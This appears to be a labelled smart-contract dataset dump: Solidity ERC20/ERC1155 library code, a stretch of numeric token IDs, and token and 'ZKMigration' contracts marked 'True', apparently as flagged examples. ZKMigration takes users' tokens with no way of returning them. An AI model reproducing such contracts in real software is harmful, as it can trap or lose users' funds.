@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC1155.sol";
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
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101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1014,
1012,
1022,
1012,
1014,
1025,
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1000,
1030,
2330,
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27877,
2378,
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2219,
3085,
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1000,
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1000,
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21823,
2140,
1063,
3853,
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2618,
1006,
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3372,
17788,
2575,
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2797,
3193,
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3372,
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23947,
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1006,
3796,
1012,
2335,
15464,
2361,
1010,
3796,
14949,
2232,
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3796,
1012,
2193,
1011,
1015,
1007,
1010,
5796,
2290,
1012,
4604,
2121,
1010,
6534,
1007,
1007,
1007,
1003,
17273,
1007,
1025,
1065,
3853,
14566,
18447,
1006,
21318,
3372,
17788,
2575,
4098,
1010,
21318,
3372,
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2575,
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1007,
6327,
3193,
5651,
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21318,
3372,
17788,
2575,
1007,
1063,
2709,
6721,
3762,
2618,
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1007,
1003,
4098,
1025,
1065,
1065,
3206,
22939,
23737,
10020,
3334,
2003,
2219,
3085,
1063,
2478,
1050,
6199,
21823,
2140,
2005,
1008,
1025,
4769,
1031,
1033,
2270,
11046,
2078,
6199,
2015,
1025,
4769,
1031,
1033,
2270,
2695,
23737,
2078,
6199,
2015,
1025,
1013,
1013,
2995,
1027,
2965,
1999,
11046,
1013,
1013,
6270,
1027,
2695,
11046,
12375,
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|
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b; assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined) * From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(msg.sender == saleAgent && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
}
contract SimpleTokenCoin is MintableToken {
string public constant name = "Tetya Klara Token";
string public constant symbol = "KLARA";
uint32 public constant decimals = 2;
} | True | [
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|
//SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
contract ZKMigration {
event Frozen(address indexed user, address indexed token, uint256 amount);
function freeze(address token, uint256 amount) external {
safeTransferFrom(token, msg.sender, address(this), amount);
emit Frozen(msg.sender, token, amount);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ZeepyNetwork is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Zeepy Network';
string private _symbol = 'ZEEPY';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
